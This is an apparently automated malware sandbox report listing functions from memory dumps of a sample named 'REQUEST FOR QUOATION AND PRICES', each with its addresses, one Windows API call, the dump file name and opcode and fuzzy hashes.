Function 36DD5F0C Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 36DD604E

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9790ddfcb2448883fa834f8d8e9749d9ef5feb97d21dc5d3a9bbe36bb893abb2
Instruction ID: 8777d6c9920fb467ff57ddf24f163a7d482af637bfc9c5378c9261225bd94c92
Opcode Fuzzy Hash: 9790ddfcb2448883fa834f8d8e9749d9ef5feb97d21dc5d3a9bbe36bb893abb2
Instruction Fuzzy Hash: CE114A78E002198FEB04EBA9D884EADB7F5BF88344F208165E844A7241DB31AC41CBA0

Function 37E50850 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 37E508D7

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 24470523b2ff73afa484035c6c005394f3d1169866b585e06600e9d7ca4b383c
Instruction ID: f1202b80110ebcd4c9b6bef9d1b3e2eb25d14f6b10a8fbe3538247c48a651c81
Opcode Fuzzy Hash: 24470523b2ff73afa484035c6c005394f3d1169866b585e06600e9d7ca4b383c
Instruction Fuzzy Hash: 8421E3B5D0034CAFDB10CFAAD980ADEBBF5EB48320F14841AE954A7310C374A940CFA5

Function 37E5E538 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,37E5D79F), ref: 37E5E59D

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 0b5178732dfe8447241cf5560ce838c1e1ead7efbd381ff27ccbebca65bddf2b
Instruction ID: 293ca421fb2be84a0314085c9ff3084e51b6d594f29b65e17c00824f4fe8a2f5
Opcode Fuzzy Hash: 0b5178732dfe8447241cf5560ce838c1e1ead7efbd381ff27ccbebca65bddf2b
Instruction Fuzzy Hash: 3E1122B5C002499FCB20CF9AD545BDEFBF8EB48320F10852AD818A7300D378A540CFA5

Function 37E5C4BC Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,37E5D79F), ref: 37E5E59D

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: d58c1bf3e74ab0e98600ae99e179b01416e30776687aabeb8e03c2a4b2c80027
Instruction ID: a44e313ca5e8369b9970217bd800c30cd47ba8d62ab75c17ab8205c37c2a54f1
Opcode Fuzzy Hash: d58c1bf3e74ab0e98600ae99e179b01416e30776687aabeb8e03c2a4b2c80027
Instruction Fuzzy Hash: D111EDB5C047499FCB20DF9AD544BDEBBF4EB48320F14852AE918A7240D778A640CFA9

Function 37E5C410 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 37E5D2B5

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: acefddfb80bdcc5d4c5c183ae355030c5c109062cb9f884d839a5ee2a9465fcb
Instruction ID: 66f59f6b070c2615f8e79019de25b92b020cd077136d5908bd7c81d23a3150b4
Opcode Fuzzy Hash: acefddfb80bdcc5d4c5c183ae355030c5c109062cb9f884d839a5ee2a9465fcb
Instruction Fuzzy Hash: 881100B9D003489FDB20DF9AC585B9EBBF4EB48324F24841AE518A7300C779A940CFA5

Function 37E5D258 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 37E5D2B5

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 07bdec0f1d21bb5feeab77bfde4a0e28c4e67ef3d69e40c76494fcef0900679e
Instruction ID: cd34ad4c6914ba30a67875754df7854483ff842e3db0775217d4c59e3fda5637
Opcode Fuzzy Hash: 07bdec0f1d21bb5feeab77bfde4a0e28c4e67ef3d69e40c76494fcef0900679e
Instruction Fuzzy Hash: D71112B5C003489FDB20DF9AC585BDEBBF8EB48320F248829D518A7300C779A944CFA5

Function 37E51CB9 Relevance: 1.5, APIs: 1, Instructions: 46timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 37E51D1D

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 9f13c4c90e33070442c9362a808124d578249fb5e5552c497e7b695572ec1223
Instruction ID: 009d74c506f960b4494114f9e60379abe88ba8f4d97a15f9a44e0095b7c00d54
Opcode Fuzzy Hash: 9f13c4c90e33070442c9362a808124d578249fb5e5552c497e7b695572ec1223
Instruction Fuzzy Hash: 3011D6B58003499FDB10DF9AD985BDEFBF8EB48320F148419D558A7210C375A944CFA5

Function 37E51CC0 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 37E51D1D

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 69d4f80357c780b6ad94fc7043d3df94e2459e3589e90df72acec28cf7175e88
Instruction ID: 44b37dae11eff844828ec390da8d0434d6a055c5e029716919d7cf859f44604a
Opcode Fuzzy Hash: 69d4f80357c780b6ad94fc7043d3df94e2459e3589e90df72acec28cf7175e88
Instruction Fuzzy Hash: B111E5B58003499FDB10DF9AD985BDEFBF8EB48320F148419D558A7200C375A944CFA5

Function 36DF9C55 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c556bde8691dfbf488a67e135dea45c056d350ca90658aa4b80c29f50c7f95b
Instruction ID: 7faa1380d1064c635551afd518fae334ebb48eed5cd3ae6ba8a97410fef8b739
Opcode Fuzzy Hash: 5c556bde8691dfbf488a67e135dea45c056d350ca90658aa4b80c29f50c7f95b
Instruction Fuzzy Hash: ACE1D374A00228DFDB25DF60D954BADBBB2FB89301F5085AAD80A77354CB356E82DF50

Function 36DF9C53 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc8f18091fa17cc77b71d8608b6845b0e56455a2077f3a85338d92e5553d892c
Instruction ID: b55d2c763cd2d529b556ae2c03e70507c45439e302e21a5c894b3edb1faa5304
Opcode Fuzzy Hash: cc8f18091fa17cc77b71d8608b6845b0e56455a2077f3a85338d92e5553d892c
Instruction Fuzzy Hash: 1AE1E374A00218DFDB25DF60D954BADBBB2FB89301F5085AAD80A77354CB35AE82DF50

Function 36DFF0F0 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 986925d5efcf9bc1e3fdf07e7f17bcd749fae8eff016d940c28a86ccb6bcd45c
Instruction ID: 0825b13879f7a5199cbcdd2face5a67de9225b73aed0eeade33617eda2a7ab36
Opcode Fuzzy Hash: 986925d5efcf9bc1e3fdf07e7f17bcd749fae8eff016d940c28a86ccb6bcd45c
Instruction Fuzzy Hash: 2B917874B107068FDB14EF79C89092EBBF2BF882007108A29D44ADB755EB75ED42CB91

Function 36DFE9B0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9083e9e051ef51561d2c4f3e4ae5170fedb13a5ce21467e4e9fba00d59cbc7a
Instruction ID: ba67c7c3abd548529c681c84eb17bc1f26c402423d0926a64467cf61ac410b7d
Opcode Fuzzy Hash: e9083e9e051ef51561d2c4f3e4ae5170fedb13a5ce21467e4e9fba00d59cbc7a
Instruction Fuzzy Hash: 7C713574E10319DFDB19DFA5C858AADBFB2BF88300F158129E506AB354DBB59982CF40

Function 36DF9FAF Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00d220406c4a2ef3b800c565d8f74cec18a65be59afe556144ec74ca1d86bd6c
Instruction ID: 29ae99bb76957ed6fa78bb93b01de6e31f5d9b1cb5ec784dc1d9cdfd37e99139
Opcode Fuzzy Hash: 00d220406c4a2ef3b800c565d8f74cec18a65be59afe556144ec74ca1d86bd6c
Instruction Fuzzy Hash: C961D774E10258DFEB25DF60D854BADBB72FB88301F1084AA990A77354DB356D82EF50

Function 36DF5400 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 829594260bca0294e81f3ec64bcaca103e22f054a9c835ef772fe8d62f9ca05b
Instruction ID: a9778990cb6baaae27a368aef5e14d0b7388170edc69c82d17d311bb0e844104
Opcode Fuzzy Hash: 829594260bca0294e81f3ec64bcaca103e22f054a9c835ef772fe8d62f9ca05b
Instruction Fuzzy Hash: 1351EE74D00318DFDB24DFA5D854BADBBB2FF88301F608129D809AB294DB35AA46DF40

Function 36DFA709 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485fb2648dd951f71da00948565b589f5e6293581dad58f23744a708d9e45199
Instruction ID: a9b60550a82e56c8b24151899c9c8197f1a7bf546589de26d0ffeed032f702f6
Opcode Fuzzy Hash: 485fb2648dd951f71da00948565b589f5e6293581dad58f23744a708d9e45199
Instruction Fuzzy Hash: FD519274E00218DFDB54DFA9D894ADDBBB2FF88300F248169D819AB365DB316946CF40

Function 36DFF0E1 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acc387bcdf30acb46b3032f76579c510b1439c45ceec0a405dad7d7bdd78add0
Instruction ID: c179263952b5bf956988e34d8b050122bed81d8f17e305ff366bcc3e798b0ae2
Opcode Fuzzy Hash: acc387bcdf30acb46b3032f76579c510b1439c45ceec0a405dad7d7bdd78add0
Instruction Fuzzy Hash: 8B41CD70B207069FDB14EF35C88092EBBF2FF88240B018529D445CF745EB72EA468BA1

Function 36DFDED8 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef22bf69247f1f883515ff981c6a6d89b0465787b0f4411f881a08d82edec858
Instruction ID: cdf7bf147a257e136d5970326120c2582a7931588f2ebeb84ff0d82c9ce3781d
Opcode Fuzzy Hash: ef22bf69247f1f883515ff981c6a6d89b0465787b0f4411f881a08d82edec858
Instruction Fuzzy Hash: 4741FE71C183888FDB22DFA9D8507CEBFF4EF46220F15449BD4849B262D7359948CBA6

Function 36DFEF52 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a486d83b9c3e5f9b240aa10ff80f5e8bc016c923e69f15d5b5d1ce502fe41850
Instruction ID: e6953f9dc58f3071e5ec3a0c81cd7ff3b52b297c0f4646ee3867e80b575bc82f
Opcode Fuzzy Hash: a486d83b9c3e5f9b240aa10ff80f5e8bc016c923e69f15d5b5d1ce502fe41850
Instruction Fuzzy Hash: 60310474E243658BE721DB66D04078EBBF1AF44310F56416DC841BF641CBB2AD49CBD5

Function 36DFAA48 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8930cc90710ddb15b3aedc3a41e17cd65cbba8543ae9d6e34f427b9cef4df49
Instruction ID: 018b588c64639737c58ef19408d3dc3e6a1d90995c1b327719e174236656dd96
Opcode Fuzzy Hash: f8930cc90710ddb15b3aedc3a41e17cd65cbba8543ae9d6e34f427b9cef4df49
Instruction Fuzzy Hash: 13319474E11705CBE728CF66D550BAEBBF25F48740F19882DD446AB380DBB69805CBA1

Function 36DFE99F Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ebdd033e828408d1b43acbd3fd2db759e91a28e40dfa140e04adaf3dd960a83
Instruction ID: 60d2299a06b2605d8f1eb78063e1637230ec180d47b46a5c9db0f73e4ffb7725
Opcode Fuzzy Hash: 1ebdd033e828408d1b43acbd3fd2db759e91a28e40dfa140e04adaf3dd960a83
Instruction Fuzzy Hash: 64317A38E103098BDB19DFBAC4546AE7BF2AF88310F158529D516AB354DFB59842CF90

Function 36DFAA39 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25dfd18fa069d03f41da46a7d1236fc17cb0b2dfac981373e660e58ba515a911
Instruction ID: 071381a35757a0469885ffc906975f349fae49d17cece886270b40f390af3fab
Opcode Fuzzy Hash: 25dfd18fa069d03f41da46a7d1236fc17cb0b2dfac981373e660e58ba515a911
Instruction Fuzzy Hash: 75210778E10704CBD728CB66D550AEEBBF25F88700F19852DC446EB380DBB5AC09CBA1

Function 36DF53F0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1439b7731831c100bdd23f67b823606b36c81074a2b112f13ddb41954bb46c
Instruction ID: 69880f62f154f865bbc2cbf3bc4c69eb695ff6ed7a9d52941cbcc47fe6b1e854
Opcode Fuzzy Hash: 7c1439b7731831c100bdd23f67b823606b36c81074a2b112f13ddb41954bb46c
Instruction Fuzzy Hash: 67314774D11318DFDB04DFA5D4547EEBBB2AF89304F50842AD814BB284DB7A894ACF50

Function 0009D3F0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2531325691.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9d000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b7449c7f6743ed9654d16e73072bc09eb238d4f7824dd0abc25d73f13511f74
Instruction ID: f45481dc7ff389bee99979b6441024a72cedcf9e596f1f37c590e48a7b9c1f99
Opcode Fuzzy Hash: 1b7449c7f6743ed9654d16e73072bc09eb238d4f7824dd0abc25d73f13511f74
Instruction Fuzzy Hash: BB213A71584200DFDF14DF10D9C0B26BFA5FB94320F24C56AD9090F246C336E856EBA2

Function 000AD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2531546178.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ad000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b78ab75c58b071abac720f144fd3a988bf96260c912e5f09de97d6bfd151f21
Instruction ID: c6192e3b5f85b68d4a38ee8b00ef8200392bbfbf279780531d42c06c0e2f1e5a
Opcode Fuzzy Hash: 1b78ab75c58b071abac720f144fd3a988bf96260c912e5f09de97d6bfd151f21
Instruction Fuzzy Hash: 8E212271604200EFDB24DF94D9C0F26BBA1EB85314F24C56ED84A0FA42C336D847CA62

Function 36DF6EC8 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 352d65dd6accc8c254eda417a180bb775a43e208feb557a8057a906d7fe19023
Instruction ID: 6ff8f5c130bc7be7a9e515a8109b0655c66dda573b245d43fc82c3356629dd5d
Opcode Fuzzy Hash: 352d65dd6accc8c254eda417a180bb775a43e208feb557a8057a906d7fe19023
Instruction Fuzzy Hash: 360149599783D48BF3162AB8DC9038A3FA46F92A69B539983C060CF905D902581E537F

Function 36DF9498 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c9252dfb5f6d8bd5d5f0aba367e3d69039a8b535a36e3b8e2545c9d7509667b
Instruction ID: fa01e73fd1f7afeb9cf04f832a7bc2d22e95159d98687c87433994880185f4f5
Opcode Fuzzy Hash: 4c9252dfb5f6d8bd5d5f0aba367e3d69039a8b535a36e3b8e2545c9d7509667b
Instruction Fuzzy Hash: 8B2115B8D10219DFCB00DFA4D444BEEBBB1FB49301F50946AD815B7290DB385A86CF90

Function 0009D3EB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2531325691.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9d000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 193d0a6e4c6a41fa8d380d8a3aebfad6d5fdfd2e37f37faa7afe8a0cd07d9e29
Instruction ID: 75c30dec444e905b2dacf2aeb21225cd19b82776d93782fce5b3b3ca2f2a72f9
Opcode Fuzzy Hash: 193d0a6e4c6a41fa8d380d8a3aebfad6d5fdfd2e37f37faa7afe8a0cd07d9e29
Instruction Fuzzy Hash: DC110376544240CFCF05CF10D5C4B16BFB1FB94320F24C5AAD8480B616C336E856DBA2

Function 36DF94A8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27e9fb753234ab2217d7a1b890da555287adb41c29de949e952b443c6a318085
Instruction ID: 3a2fdb681e3739a2663eb9f2f7b2e4b0ee992591b42fb22a7edb60bb8ad5b7bd
Opcode Fuzzy Hash: 27e9fb753234ab2217d7a1b890da555287adb41c29de949e952b443c6a318085
Instruction Fuzzy Hash: 6621F2B8D10209DFDB00DFA5D444BEEBBB1FB88301F50946AD811B7254DB785A86CF90

Function 000AD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2531546178.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ad000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f3e037e22fa59686557c36097c7f2c442b72f34ba89836c3c3f47136ec8bdf6
Instruction ID: e55928b3f63c07f136b2e370c25e33d22a16d8fcfd49e1b03e0c3bd6dac7d8e0
Opcode Fuzzy Hash: 7f3e037e22fa59686557c36097c7f2c442b72f34ba89836c3c3f47136ec8bdf6
Instruction Fuzzy Hash: 0111BB75504280DFCB15CF54D5C0B15BBA2FB85324F28C6AAD84A4BA56C33AD84ACB62

Function 36DFDF91 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cff5e2566d0e4a1d2a36279443effaf42ecb59afe2effea99325aac2af07e09
Instruction ID: 652ea94e3f5389adfc611d8e4356cf6de8f26b77a3edf0eadf997c662a2c1397
Opcode Fuzzy Hash: 8cff5e2566d0e4a1d2a36279443effaf42ecb59afe2effea99325aac2af07e09
Instruction Fuzzy Hash: C2018071B00A118FD324DF6EC440916B7F6AF9A25431585BAE009DB332EB71ED46DB80

Function 36DFDAE4 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f1ca75961f721f87e892f654bba0c5cf4b2bcb1dbec6171f87f2ac73de71e31
Instruction ID: acf59e58fcd2fa8658fa85873894fad275ad7c376f37ec7d5b906ea69f370c30
Opcode Fuzzy Hash: 3f1ca75961f721f87e892f654bba0c5cf4b2bcb1dbec6171f87f2ac73de71e31
Instruction Fuzzy Hash: 230180307406118FD324DF6ED44091ABBF6EF8A354315856AE005CB335DB71EC469B80

Function 36DFA931 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed7c97bc11ab14bde1f17bc500f6251101efe293f3aee4eae97f12a3f3f47f43
Instruction ID: a8b521d46eb4ecb3c0e5b0350f0c4819b289c378c426db2452819563aabb3641
Opcode Fuzzy Hash: ed7c97bc11ab14bde1f17bc500f6251101efe293f3aee4eae97f12a3f3f47f43
Instruction Fuzzy Hash: 9E017434D11608CFDB50DFA4D8546EEBBB1EF8A311F90A439C810BB290DF3A5952CB61

Function 36DF70C8 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85b1741a131a98a7b3a4cf2b6f54f360f221dd28a4aa25620c5155bb5a8e2730
Instruction ID: 11f4ac41b37c37d0f64f29f99d12162f70c0b9b9cd8687331292518cc6057c14
Opcode Fuzzy Hash: 85b1741a131a98a7b3a4cf2b6f54f360f221dd28a4aa25620c5155bb5a8e2730
Instruction Fuzzy Hash: 98F0F430E283489FDB10AFA4C840BAE7BF5FF84310F11452AE4049B744CB72A549CBD2

Function 36DFA940 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d8034a9431b02450eb1d707788cbb1057b8c60d76f8e6698be00672fd3924d
Instruction ID: 4f5d9d4e7be2d69a61aae25e5afc45d26fd06da6feceab4791d216eca8764fc3
Opcode Fuzzy Hash: 34d8034a9431b02450eb1d707788cbb1057b8c60d76f8e6698be00672fd3924d
Instruction Fuzzy Hash: FAF08734D11208CFDB44DFA9D8046EDB7B1FF8A301F519429C800B7350DB3A5852CB60

Function 36DF70E8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
